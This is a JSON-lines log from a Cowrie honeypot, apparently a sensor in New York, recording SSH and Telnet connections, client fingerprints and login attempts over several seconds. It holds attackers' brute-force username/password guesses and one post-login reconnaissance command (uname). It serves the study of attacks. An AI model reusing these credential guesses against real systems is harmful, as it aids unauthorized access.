{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50678,"dst_ip":"10.17.0.5","dst_port":22,"session":"f73dbf02217b","protocol":"ssh","message":"New connection: 176.65.132.254:50678 (10.17.0.5:22) [session: f73dbf02217b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:47.287789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:47.349112Z","src_ip":"176.65.132.254","session":"f73dbf02217b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:47.443105Z","src_ip":"176.65.132.254","session":"f73dbf02217b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.75607681274414,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:47.487679Z","src_ip":"62.210.97.77","session":"0e6da9331a00","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:47.717003Z","src_ip":"176.65.132.254","session":"f73dbf02217b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.35193586349487,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:47.788560Z","src_ip":"62.210.97.77","session":"fcf1ac8a766b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45206,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fda18d68974","protocol":"telnet","message":"New connection: 62.210.97.77:45206 (10.17.0.5:23) [session: 9fda18d68974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:48.128090Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51224,"dst_ip":"10.17.0.5","dst_port":23,"session":"df7a86cac85c","protocol":"telnet","message":"New connection: 38.54.119.93:51224 (10.17.0.5:23) [session: df7a86cac85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:48.722041Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60028,"dst_ip":"10.17.0.5","dst_port":23,"session":"97447fd23197","protocol":"telnet","message":"New connection: 65.60.27.33:60028 (10.17.0.5:23) [session: 97447fd23197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:48.798458Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:48.807460Z","src_ip":"176.65.132.254","session":"f73dbf02217b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.22755718231201,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:49.151496Z","src_ip":"62.210.97.77","session":"ef26b635617a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":55460,"dst_ip":"159.203.135.109","dst_port":22,"session":"92aa2007c876","protocol":"ssh","message":"New connection: 103.189.235.176:55460 (159.203.135.109:22) [session: 92aa2007c876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:50.302869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:50.307206Z","src_ip":"103.189.235.176","session":"92aa2007c876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.99889254570007,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:50.507974Z","src_ip":"62.210.97.77","session":"bf2550f72e5c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:50.542971Z","src_ip":"103.189.235.176","session":"92aa2007c876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50680,"dst_ip":"10.17.0.5","dst_port":22,"session":"ace5e808af09","protocol":"ssh","message":"New connection: 176.65.132.254:50680 (10.17.0.5:22) [session: ace5e808af09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:51.243903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:51.248294Z","src_ip":"176.65.132.254","session":"ace5e808af09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:51.330222Z","src_ip":"176.65.132.254","session":"ace5e808af09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazXSW@3edc","message":"login attempt [ubuntu/1qazXSW@3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:51.516604Z","src_ip":"103.189.235.176","session":"92aa2007c876","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:51.574405Z","src_ip":"176.65.132.254","session":"ace5e808af09","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:51.793645Z","src_ip":"176.65.132.254","session":"ace5e808af09","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:51.797669Z","src_ip":"176.65.132.254","session":"ace5e808af09","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:52.087623Z","src_ip":"176.65.132.254","session":"ace5e808af09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:52.091254Z","src_ip":"176.65.132.254","session":"ace5e808af09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"36beb32b9e67","protocol":"telnet","message":"New connection: 38.54.119.93:53592 (10.17.0.5:23) [session: 36beb32b9e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:52.276323Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:52.753792Z","src_ip":"103.189.235.176","session":"92aa2007c876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.15789532661438,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:53.879797Z","src_ip":"38.54.119.93","session":"df7a86cac85c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55112,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c22d27a7aa","protocol":"telnet","message":"New connection: 62.210.97.77:55112 (10.17.0.5:23) [session: 65c22d27a7aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:54.396831Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38254,"dst_ip":"10.17.0.5","dst_port":23,"session":"20380b148aef","protocol":"telnet","message":"New connection: 65.60.27.33:38254 (10.17.0.5:23) [session: 20380b148aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:54.925718Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46792,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f4ee6585857","protocol":"ssh","message":"New connection: 176.65.132.254:46792 (10.17.0.5:22) [session: 3f4ee6585857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:55.397036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:55.406493Z","src_ip":"176.65.132.254","session":"3f4ee6585857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:55.488492Z","src_ip":"176.65.132.254","session":"3f4ee6585857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55120,"dst_ip":"10.17.0.5","dst_port":23,"session":"030b8c0447a2","protocol":"telnet","message":"New connection: 62.210.97.77:55120 (10.17.0.5:23) [session: 030b8c0447a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:55.511922Z"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:55.740006Z","src_ip":"176.65.132.254","session":"3f4ee6585857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39502,"dst_ip":"10.17.0.5","dst_port":23,"session":"da1f27743f4b","protocol":"telnet","message":"New connection: 165.232.131.181:39502 (10.17.0.5:23) [session: da1f27743f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:56.034086Z"}
{"eventid":"cowrie.session.closed","duration":0.00499725341796875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:56.038948Z","src_ip":"165.232.131.181","session":"da1f27743f4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.894144773483276,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:56.083735Z","src_ip":"62.210.97.77","session":"2d811800546b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32015609741211,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:56.202765Z","src_ip":"62.210.97.77","session":"993fe2f550b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11441087722778,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:56.333688Z","src_ip":"62.210.97.77","session":"85b14fd8a43a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35246,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb22ed946cc6","protocol":"telnet","message":"New connection: 134.209.8.29:35246 (159.203.135.109:23) [session: cb22ed946cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:56.653688Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55126,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f3b19870cb","protocol":"telnet","message":"New connection: 62.210.97.77:55126 (10.17.0.5:23) [session: c0f3b19870cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:56.824697Z"}
{"eventid":"cowrie.session.closed","duration":35.069005489349365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:56.934038Z","src_ip":"62.210.97.77","session":"0d2e71144bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:57.051828Z","src_ip":"176.65.132.254","session":"3f4ee6585857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.11577105522156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:57.095886Z","src_ip":"62.210.97.77","session":"9078d82fc3d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45383810997009,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:57.497346Z","src_ip":"62.210.97.77","session":"2b010ccb21b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55128,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8037c6bc91b","protocol":"telnet","message":"New connection: 62.210.97.77:55128 (10.17.0.5:23) [session: f8037c6bc91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:57.779314Z"}
{"eventid":"cowrie.session.closed","duration":1.4505386352539062,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:58.104106Z","src_ip":"134.209.8.29","session":"cb22ed946cc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46800,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ad6936a7bec","protocol":"ssh","message":"New connection: 176.65.132.254:46800 (10.17.0.5:22) [session: 6ad6936a7bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:59.173946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:59.179255Z","src_ip":"176.65.132.254","session":"6ad6936a7bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:59.261181Z","src_ip":"176.65.132.254","session":"6ad6936a7bec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:59.763427Z","src_ip":"176.65.132.254","session":"6ad6936a7bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.453163385391235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:00.085294Z","src_ip":"62.210.97.77","session":"714b8aad28b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:00.848201Z","src_ip":"176.65.132.254","session":"6ad6936a7bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49318,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7f762655e6","protocol":"telnet","message":"New connection: 62.210.97.77:49318 (10.17.0.5:23) [session: ed7f762655e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:01.020645Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49330,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e03d782fc47","protocol":"telnet","message":"New connection: 62.210.97.77:49330 (10.17.0.5:23) [session: 3e03d782fc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:01.921831Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39402,"dst_ip":"10.17.0.5","dst_port":22,"session":"7103ef332be7","protocol":"ssh","message":"New connection: 176.65.132.254:39402 (10.17.0.5:22) [session: 7103ef332be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:03.344508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:03.350020Z","src_ip":"176.65.132.254","session":"7103ef332be7","protocol":"ssh"}
